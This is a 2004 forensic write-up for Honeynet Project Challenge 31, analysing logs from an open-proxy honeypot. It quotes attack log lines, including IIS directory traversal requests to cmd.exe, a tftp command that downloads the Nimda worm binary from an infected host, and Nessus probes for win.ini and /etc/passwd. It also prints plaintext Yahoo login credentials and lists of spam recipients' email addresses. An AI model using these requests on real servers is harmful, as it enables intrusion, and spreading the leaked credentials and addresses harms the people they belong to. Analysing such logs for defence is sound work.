SCAN 31
THE PROJECT HONEYNET
http://www.honeynet.org

Dophine V. Britanico

INFOSEC Technical Document
April 28,2004

:. dophine@digitelone.com

Acknowledgment

This work was prepared in response to Project Honeynet Challenge 31.
The findings, tools and observation discuss in this paper is published for the general interest of the Computer Security Community and It was intended for highly technical audience,
Some information maybe incorrect, out-dated, obscured, and all false.
Typographical errors are all mine.

No pixels were damage during the documentation and preparation of this technical document.

TO GOD AND TO MY LOVING DAUGTHERS.

Challenge Overview

This month's challenge is to analyze web server log files looking for signs of abuse. The Honeypots: Monitoring and Forensics Project deployed a specially configured Apache web server, designed specifically for use as a honeypot open proxy server or ProxyPot.

Questions

1. How do you think the attackers found the honeyproxy?

It was quite probable that it was discovered by a proxy hunter.

2. What different types of attacks can you identify?

This where attacks that's generated most noise on the audit_log and catch my attention.

2.1 Probing of exploitable server using Automated scanner like Nessus looking for holes like IIS Unicode Directory Traversal exploit, It was also possible that the attacker used Proxy scanner, and Open SSL scanner.

2.2 Scan Open E-Mail relay gateway, probably to be used later by the attacker to spoof e-mail or to be utilized in SPAM.

2.3 Brute force login name and password of sites such as yahoo.com, icq.com, microsoft, mail.sina.com and etc.

Note: Extensive information of attacks types by category mostly found on the logs can be compared from nessus websites. http://cgi.nessus.org/plugins/

For each category, provide just one log example and detail as much info about the attack as possible (such as CERT/CVE/Anti-Virus id numbers). How many can you find?

2.1. Unicode Directory (http://www.microsoft.com/technet/security/bulletin/MS00-078.mspx Microsoft Security Bulletin (MS00-078) /RFPwww.wiretrip.net) traversal exploit or tools like *iis-kaboom*. http://www.securityfocus.com/archive/75/319846/2003-04-27/2003-05-03/0
http://downloads.securityfocus.com/vulnerabilities/exploits/iis-kabom.php

Sample from the logs.

```
68.48.142.117%20GET%20cool.dll%20httpodbc.dll HTTP/1.0" 200 566 "-" "-"

68.48.142.117 - - [09/Mar/2004:22:20:26 -0500] "GET /scripts/httpodbc.dll
HTTP/1.0" 404 288 "-" "-"

68.48.142.117 - - [09/Mar/2004:22:21:16 -0500] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 200 566 "-" "-"

218.93.92.137 - - [09/Mar/2004:22:21:38 -0500] "GET
http://seekpond.com/search.php?username=johnbush&keywords=ads HTTP/1.1" 200 578
"http://www.psend.com/users/mysearch/seekpond.htm" "Mozilla/4.0 (compatible; MSIE
4.01; Windows 98)"

68.48.142.117 - - [09/Mar/2004:22:22:07 -0500] "GET /MSADC/root.exe?/c+tftp%20-
i%2068.48.142.117%20GET%20cool.dll%20httpodbc.dll HTTP/1.0" 200 566 "-" "-"

68.48.142.117 - - [09/Mar/2004:22:22:07 -0500] "GET /MSADC/httpodbc.dll HTTP/1.0"
404 286 "-" "-"
```

The explanation

IIS probes by NIMDA worm attempting to exploit the root.exe backdoor left by Code Red II or possibly Sadmind infections. Unicode Directory traversal mapping drive C to ISS virtual folders, if success spawn cmd.exe

<cut>

```
GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-""-"
GET /MSADC/root.exe?/c+dir HTTP/1.0" 200 566 "-" "-"
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 200 566 "-" "-"
```

</cut>

Once the worm gains access to vulnerable IIS webserver, it uses tftp to fetch the binary cool.dll (the worm itself) from the previous infected host example here from the logs 68.48.142.117

```
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-
i%2068.48.142.117%20GET%20cool.dll%20e:\\httpodbc.dll
```

Reference
http://www.cert.org/body/advisories/CA200126_FA200126.html

2.2 Suspicious occurrences of mail gateways from the logs

<cut>

..
ms39a.hinet.net
maila.microsoft.com
ms45a.hinet.net
ms8.url.com.tw
mx-ha01.web.de
mx00.kundenserver.de
200.52.207.52/unix.megared.net.mx
mx0.gmx.net
195.228.231.51
202.96.254.200
209.15.20.26
211.22.130.68
218.234.19.62
213.81.227.129
69.46.18.186
61.137.101.4

..
</cut>

2.3 Attacker/s trying to brute force username and passwords specially yahoo accounts from different locations. Please refer to question five for the answer

3. Do attackers target Secure Socket Layer (SSL) enabled web servers as their targets?

Yes attackers target SSL enabled web servers! This was transparent on the logs port 443 connections.

Did they target SSL on our honeyproxy?

I believe so since it was a honeypot proxy. This, they easily found out using automated vulnerability scanner, or proxy hunter.

Why would they want to use SSL?

Base on audit logs it was clear the attacker are using SSL to tunnel to other vulnerable proxy possibly to transit arbitrary data. Also this was common technique use by black-hats to mask/bounce their IP address specially when having IRC, and ICQ sessions (TCP data stream forwarding / AKA SOCKS). It was also being utilized to anonymize the attacker search query from one search engine to another. There was also a strong indication that attacker want to use SSL to establish a covert channel.

A more in-depth and technical reference on this approach was located here in this paper by Alex Dyatlov and Simon Castro.

http://gray-world.net/projects/papers/html/covert_paper.html

Why didn't they use SSL exclusively?

It is important to understand that once a private exploit was release to general public, the affected commercial software already or successfully minimize the damage by releasing a patch or most of the time alerted in advance by the external security researcher, hacker/cracker who made the exploit. Which in this case (SSL), some vulnerable version are no longer exploitable. Duh!

4. Are there any indications of attackers chaining through other proxy servers?

Yes, by successful and un-successful outbound attempt from honeypot to remote machines on port :8080.

List the other proxy servers identified. Can you confirm that these are indeed proxy servers?

http://fivt.krgtu.ru:3128
http://proxyking.servehttp.com:8080
http://chat.communautes.tiscali.fr:8080

Describe how you identified this activity.

I base this on HTTP proxies most common stamp fields one of them are visible on the logs they were : HTTP-Via, Remote-Host, Forwarded, X-Forwarded-For, Cache-Control, UserAgent-Via, and Cache-Info.

A simple TCP connections on proxy most common port 3128, 8080 can confirm that it was indeed a proxy server. Netcat, and Telnet will do just fine.

5. Identify the different Brute Force Authentication attack methods.

Attacker/s used nessus vulnerability scanner this was duplicated into one of my Linux test lab to Internal Lab Windows Web Server.
After Nessus scan from Linux to Web Server. Here is a sample logs from ISS. Note the similarities.

From access_logs

```
<cut>
..
217.160.165.173 - - [12/Mar/2004:22:30:24 -0500] "GET /9/ HTTP/1.1" 404

282 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

217.160.165.173 - - [12/Mar/2004:22:30:24 -0500] "GET /HTTP1.0/" 404 - "-"
"-"

217.160.165.173 - - [12/Mar/2004:22:30:24 -0500] "GET /AdminWeb/ HTTP/1.1"
404 289 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

217.160.165.173 - - [12/Mar/2004:22:30:25 -0500] "GET /HTTP1.0/" 404 - "-"
"-"

203.121.182.139 - - [12/Mar/2004:22:30:25 -0500] "CONNECT 209.15.20.39:25
HTTP/1.0" 403 286 "-" "-"
217.160.165.173     -     -     [12/Mar/2004:22:30:26     -0500]     "GET
http://xxxxxxxxxxx./<SCRIPT>alert('Vulnerable')</SCRIPT>.shtml    HTTP/1.1"
403 357 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

66.230.236.14      -      -      [12/Mar/2004:22:30:26      -0500]      "GET
http://www.cumstyle.com/   HTTP/1.1"   200   65429   "http://oral.blaxxx.com"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

217.160.165.173 - - [12/Mar/2004:22:30:26 -0500] "GET /doc/ HTTP/1.1" 404

284 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

17.160.165.173 - - [12/Mar/2004:22:30:27 -0500] "GET /doc/ HTTP/1.1" 404
284 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

217.160.165.173 - - [12/Mar/2004:22:30:27 -0500] "GET /exec/show/config/cr
HTTP/1.1" 403 303 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

..
217.160.165.173 - - [12/Mar/2004:22:41:24 -0500] "GET /cgi-
bin/.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./winnt/win.ini
HTTP/1.1" 404 349 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

217.160.165.173 - - [12/Mar/2004:22:41:24 -0500] "GET
/rpc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/syste
m32/cmd.exe?/c+dir+c:\\+/OG HTTP/1.1" 200 578 "-" "Mozilla/4.75 [en] (X11,
U; Nessus)"

217.160.165.173 - - [12/Mar/2004:22:41:25 -0500] "GET /cgi-bin/alibaba.pl
HTTP/1.1" 404 298 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

217.160.165.173 - - [12/Mar/2004:22:41:25 -0500] "GET
/.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./windows/win.ini HTTP/1.1"
404 343 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

217.160.165.173 - - [12/Mar/2004:22:41:25 -0500] "GET /alibaba.pl
HTTP/1.1" 404 290 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"
..
</cut>
```

From my IIS logs

<cut>

```
#Software: Microsoft Internet Information Services 6.0

#Version: 1.0

#Date: 2004-04-27 15:36:50

#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-
username c-ip cs(User-Agent) sc-status sc-substatus sc-win32-status

2004-04-27 15:39:07 192.168.6.1 GET /index.htm - 80 - 192.168.6.129
Mozilla/4.75+[en]+(X11,+U;+Nessus) 200 0 0

2004-04-27 15:39:08 192.168.6.1 GET /cgi-
bin/.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./windows/win.ini - 80 -
192.168.6.129 Mozilla/4.75+[en]+(X11,+U;+Nessus) 404 0 3

2004-04-27 15:39:08 192.168.6.1 GET /cgi-
bin/.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./winnt/win.ini - 80 –

192.168.6.129 Mozilla/4.75+[en]+(X11,+U;+Nessus) 404 0 3

2004-04-27 15:39:08 192.168.6.1 GET
/.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./windows/win.ini - 80 -
192.168.6.129 Mozilla/4.75+[en]+(X11,+U;+Nessus) 404 0 123

2004-04-27 15:39:08 192.168.6.1 GET
/.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./winnt/win.ini - 80 -
192.168.6.129 Mozilla/4.75+[en]+(X11,+U;+Nessus) 404 0 123

2004-04-27 15:39:08 192.168.6.1 GET /search - 80 - 192.168.6.129
Mozilla/4.75+[en]+(X11,+U;+Nessus) 404 0 2

2004-04-27 15:39:08 192.168.6.1 GET /cgi-bin/search - 80 - 192.168.6.129
Mozilla/4.75+[en]+(X11,+U;+Nessus) 404 0 3

2004-04-27 15:39:08 192.168.6.1 GET /search - 80 - 192.168.6.129
Mozilla/4.75+[en]+(X11,+U;+Nessus) 404 0 2

2004-04-27 15:39:08 192.168.6.1 GET /cgi-
bin/c32web.exe/ChangeAdminPassword - 80 - 192.168.6.129
Mozilla/4.75+[en]+(X11,+U;+Nessus) 404 0 3
..
2004-04-27 15:36:53 192.168.6.1 GET /9/ - 80 - 192.168.6.129
Mozilla/4.75+[en]+(X11,+U;+Nessus) 404 0 2

2004-04-27 15:36:53 192.168.6.1 GET /AdminWeb/ - 80 - 192.168.6.129
Mozilla/4.75+[en]+(X11,+U;+Nessus) 404 0 2
..
</cut>
```

Also I think proxyhunter and openssl-too-open scanner remote exploit ref: CAN-2002-0656 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0656) was utilized by the attacker/s . My assumption was base on access_log and ssl_engine_log.

```
[09/Mar/2004 22:02:40 08691] [info] Server: Apache/1.3.29, Interface:
mod_ssl/2.8.16, Library: OpenSSL/0.9.7c
```

The OpenSSL Version was plainly seen and remotely exploitable by openssl-too-open scanner by Solar Designer (http://www.phreedom.org/solar/exploits/apache-openssl/)

Can you obtain the clear text username/password credentials? Describe your methods.

Yes clear text username and password can be obtain using simple cat access_log | grep password or password= or passwd and pipe the output to a file. Output is rather large about 3.6MB each so I'll just put sample here for aesthetic viewing pleasure. LOL!

<cut>

```
24.168.72.174 - - [09/Mar/2004:22:11:38 -0500] "GET
http://sbc1.login.scd.yahoo.com/config/login?.redir_from=PROFILES?&.tries=
1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.chkP=Y&.done=http://
jpager.yahoo.com/jpager/pager2.shtml&login=exodus_510&passwd=matthew
HTTP/1.0" 200 566 "-" "-"


65.66.156.226 - - [10/Mar/2004:02:21:57 -0500] "GET
http://login.korea.yahoo.com/config/login?.redir_from=PROFILES?&.tries=1&.
src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.chkP=Y&.done=http://jpa
ger.yahoo.com/jpager/pager2.shtml&login=_____420_____&passwd=cheater
HTTP/1.0" 200 566 "-" "-"

65.66.156.226 - - [10/Mar/2004:02:23:02 -0500] "GET
..
217.160.165.173     -      -     [12/Mar/2004:22:39:03     -0500]     "GET
/commerce.cgi?page=../../../../../etc/passwd%00index.html   HTTP/1.1"   403
296 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

209.158.55.156     -      -     [12/Mar/2004:22:39:03     -0500]     "GET
http://l8.login.dcn.yahoo.com/config?.src=jpg&login=bill_d_44451&passwd=bi
ll&md5=?2? HTTP/1.0" 200 566 "-" "-"
..
```

</cut>

6. What does the Mod_Security error message "Invalid Character Detected" mean?

This is a log message by Apache with Mod_Security (www.modsecurity.org) configuration, Auto Blocking some built-in rules database that was triggered by vulnerabilty scanners like Nessus as displayed from the Mod_Security source code.

What were the attackers trying to accomplish?

The Attackers doing outbound RECON using NESSUS or SSL Scanner to target similar vulnerable webservers.

7. Several attackers tried to send SPAM by accessing the following URL - http://mail.sina.com.cn/cgi-bin/sendmsg.cgi. They tried to send email with an html attachment (files listed in the /upload directory).

What does the SPAM webpage say?

I'm not sure about this, obviously there's a line in audit_log that display random field such as: "msgtxt" and attachments 'FWD_attachment.eml' with Chinese Characters, so I fairly deduce it was the subject field to the spam recipient. After looking at the HTML attachment it was gibberish, besides I don't have any online reference that translate Chinese webpage to English either. Hau!Hau!Hau!

However, if we take into consideration the urlencoded MIME/Content Type Header as seen on audit_log there were random recipient with random subject such as..

“I saw you on the chatroom “
“Hey Sexy connect to friendscams for webcams You wont regret”

This does not correlate from the files listed in the /upload directory or from mail.sina.com. Sorry if Mistaken.

Who are the SPAM recipients?

This was compared using grep from audit_log to /upload directory files provided by project honeynet.

attachment:20040311-184310-68.0.178.69-GoodMornitng.htm_dMDrgx

from:wenrenli0@sina.com

to:huangliedao3742@163.com

cc:inlingyz@sina.com,linlingzhou@sina.com,linlinh@sina.com,linlinhaoi@sina.com,linlinhaoyun@sina.com,linlinhappy1985@sina.com,linlinhappy2002@sina.com,linlinhappy21@sina.com,linlinhe@sina.com,linlinhome@sina.com,linlinhong520@sina.com,linlinhong@sina.com

bcc:wenrenli0@sina.com

attachment:20040313-121627-24.165.131.110-Goo5dMorning.htm

from:ningsui0@sina.com

to:pangrengye4@163.com

cc:rebecca_smile@sina.com,rebecca_w@sina.com,rebecca_wang@sina.com,rebecca_wdy@sina.com,rebecca_wei@sina.com,rebecca_wen1983@sina.com,rebecca_wxh@sina.com,rebecca_wyn@sina.com,rebecca_wzm@sina.com,rebecca_xiaolong@sina.com,rebecca_xinyu@sina.com,rebecca_xq@sina.com
bcc:ningsui0@sina.com

attachment:20040313-132411-67.81.34.7-GoodMorkning.htm

from:gengteng3@sina.com

to:ai_nei06@163.com

cc:qxueren@sina.com,qxuesheng@sina.com,qxueting1221@sina.com,qxueyuan@sina.com,qxuff@sina.com,qxux@sina.com,qxv@sina.com,qxw000@sina.com,qxw12090@sina.com,qxw1210@sina.com,qxw1618@sina.com,qxw195138@sina.com
bcc:gengteng3@sina.com

attachment:20040313-145020-66.17.107.246-GoodMo0rning.htm

from:chuliao9@sina.com

to:ouchen334@163.com

cc:scp371@sina.com,scp37@sina.com,scp518@sina.com,scp6407@sina.com,scp6554@sina.com,scp75@sina.com,scp81@sina.com,scp83981@sina.com,scp_0923@sina.com,scp_2003@sina.com,scp_mt@sina.com,scpady.student@sina.com
bcc:chuliao9@sina.com

attachment:20040313-145020-66.17.107.246-GoodMo0rning.htm

from:chuliao9@sina.com

to:ouchen334@163.com

cc:scp371@sina.com,scp37@sina.com,scp518@sina.com,scp6407@sina.com,scp6554@sina.com,scp75@sina.com,scp81@sina.com,scp83981@sina.com,scp_0923@sina.com,scp_2003@sina.com,scp_mt@sina.com,scpady.student@sina.com
bcc:chuliao9@sina.com

attachment:20040313-162733-68.198.16.66-GoocdMorning.htm

from:kuangfo4@sina.com

to:zongzefeng8@163.com

cc:shenjifei@sina.com,shenjigang@sina.com,shenjihua1984@sina.com,shenjihua@sina.com,shenjihui@sina.com,shenjiji@sina.com,shenjijiao@sina.com,shenjijie1@sina.com,shenjiju@sina.com,shenjijun@sina.com,shenjike@sina.com,shenjilei@sina.com
bcc:kuangfo4@sina.com

attachment:20040313-170722-24.136.227.15-GoodMoorning.htm

from:nongla6@sina.com

to:pangrengye4@163.com

cc:shelleycom@sina.com,shelleyd@sina.com,shelleydl@sina.com,shelleydyce@sina.com,shelleyee@sina.com,shelleyexuan@sina.com,shelleyfaith@sina.com,shelleyfish@sina.com,shelleyguo8706@sina.com,shelleygyn@sina.com,shelleyhamill.student@sina.com,shelleyhp@sina.com

bcc:nongla6@sina.com

attachement:20040313-174514-68.41.205.235-GoodMornding.htm

from:bianpian2@sina.com

to:botaizao489@163.com

cc:shuchangjun@sina.com,shuchangjy123@sina.com,shuchanglove520@sina.com,shuchangly@sina.com,shuchangrz@sina.com,shuchangsc_7@sina.com,shuchangsheng.student@sina.com,shuchangstar@sina.com,shuchangwei@sina.com,shuchangwen@sina.com,shuchangwwww@sina.com,shuchangyin@sina.com

bcc:bianpian2@sina.com

8. Provide some high level statistics on attackers such as:

- Top Ten Attackers

Courtesy of grep and analog log analyzer and base on successful connections with code HTTP CODE 200 in access_log and analog. e.g CONNECT/GET, nessus scan and anomalous assorted querry with ip 217.160.165.173 highest on my analysis. Please refer to Main HTML page for Log Analyzer Output.

```
217.160.165.173
81.171.1.165
68.74.66.170
68.48.142.117
24.226.124.201
65.66.156.226
24.168.72.174
208.190.202.194
12.146.177.166
69.138.90.104
```

- Top Ten Targets

http://jpager.yahoo.com
mail.sina.com.cn

-Top User-Agents (Any weird/fake agent strings?)

This is what I have dig and was base on Analog, Awstat and Grep. I included also some relevant information that correlates to the User-Agents like Brower hits and OS hits information.

Awstat provided in-depth correlation to the access_log with manual manipulation with grep Including weird, fake agent strings, and unknown referrer browsers.

User Agent and weird/fake agent strings as reported by awstat.

```
<--snip-->
Mozilla/4.0_(_compatible;_[dk];_AOL_5.0;_NetCaptor
Mozilla/4.6_(_compatible;_[dk];_AOL_5.0;_win9x/NT_4.90_)
Mozilla/4.5_[fr]_(WinME;_I)
Irvine/1.0.8b
Clicking_Agent
DoCoMo/1.0/N505i/c20/TC/W20H10
You_lose_!
Sleipnir_Version_1.42
Tcl_http_client_package_2.4.5
Iria/1.07a
MYX.NET_Desktop_v0.11
DreamPassport/2.0
Symantec_LiveUpdate
J-PHONE/3.0/J-T05
Monazilla/1.00_kage/0.99.1.1070_(1000)
ssps/0.1_libwww/5.4.0
Mozilla/3.0_(compatible;_mSoft_Proxy_Checker;_unknown;_proxy:_192.168.1.103:8000,_
protocol:_HTTP)
ProxyHunter
Anonymisiert_durch_Steganos_Internet_Anonym_6
libwww-perl/5.64
RMA/1.0_(compatible;_RealMedia)
CryptRetrieveObjectByUrl::InetSchemeProvider
Mozilla/4.5_(Screen=240x320x64K;_InputMethod=PEN;_Page=1M;_Product=CASIO/CASSIOPEI
A_BE;_HTML-level=3.2;_Category=PDA;_JavaScript=yes)_(WorldTALK/2.2.24)
2.0_AC-Plug_-_http://www.iOpus.com
{B543282B-5BEA-4DFC-B52D-2466184D61FF}|0.0.4.19 – PROBABLY USING administrative
tools / this->SID I don't know :-(
NESSUS::SOAP
MSFrontPage/4.0
Microsoft_URL_Control_-_6.00.8862
```

AWSTAT Browser Hits

```
msie6.0 – 6.9 -> probably Windows XP and up this correlates to OS hits.
msie5.23
netscape3-7
curl
safari
netcaptor
libwww
opera
firebird
```

OS hits

```
TOP 15 Name of OS and Number of Hits

OS                              HITS

macintosh                       2296
winxp                           20778
unix                            1852
winnt                           19846
win2000                         8599
win98                           35649
linux                           211
```

```
win16                          2
macosx                         20
winme                          2049
win95                          11810
beos                           1
win2003                        80
sunos                          25
Unknown                        31790
```

While Analog reported

O.Ses, sorted by the number of requests for pages in the last 7 days.

```
pages: 7-day pages: %7-day pages:       OS
-----: -----------: ------------: --
  211:           0:             :       Unix
   16:           0:             :       Linux
  194:           0:             :       Other Unix
    1:           0:             :       SunOS
    4:           0:             :       Known robots
  133:           0:             :       Macintosh
10113:           0:             :       OS unknown
47131:           0:             :       Windows
 8589:           0:             :       Windows 95
    8:           0:             :       Unknown Windows
 8259:           0:             :       Windows XP
12768:           0:             :       Windows 98
 8340:           0:             :       Windows NT
  288:           0:             :       Windows ME
 8879:           0:             :       Windows 2000
```

- Attacker correlation from DShield and other sources?

Yes, here is the info from DShield with the most active attacker on my analysis.

Address: 217.160.165.173
HostName: p15110954.pureserver.info
DShield Profile: Country: DE
Contact E-mail: abuse@schlund.de
AS Number: 8560
Total Records against IP: 1
Number of targets: 1
Date Range: 2004-04-04 to 2004-04-04

Bonus Question:

- **Why do you think the attackers were targeting pornography websites for brute force attacks? (Besides the obvious physical gratification scenarios :)**

Attacker targeting porno website (NO offense to l33t crew of EHAP!) , because of some the porno websites poor reputation in computer security. A determine cracker can easily brute force his/her way or crack a porno web site. To date working 'XXX' passwords can be easily obtain using search engines and also freely posted, available to promiscuous general public :-) on underground warez sites like warez.com. I believe the cracker wish to acquire Credit Card Information (Virgin CCS) to be traded later on underground IRC carding channels such as #cc, #ccpower and etc for various illicit purposes.

- **Even though the proxypot's IP/Hostname was obfuscated from the logs, can you still determine the probable network block owner?**

No

TECHNICAL REFERENCES

http://www.analog.cx/

http://awstats.sourceforge.net/

Analog Latest Configurations

http://www.screenfox.de/analog_typealias/

http://mba.vanderbilt.edu/Mike.Shor/diversions/analog/

http://wadsack-allen.com/products/robot-list.html

http://www.honeynet.org

http://www.cert.org

To secure ourselves against defeat lies in our own hands, but the opportunity of defeating the enemy is provided by the enemy himself.
Sun-Tzu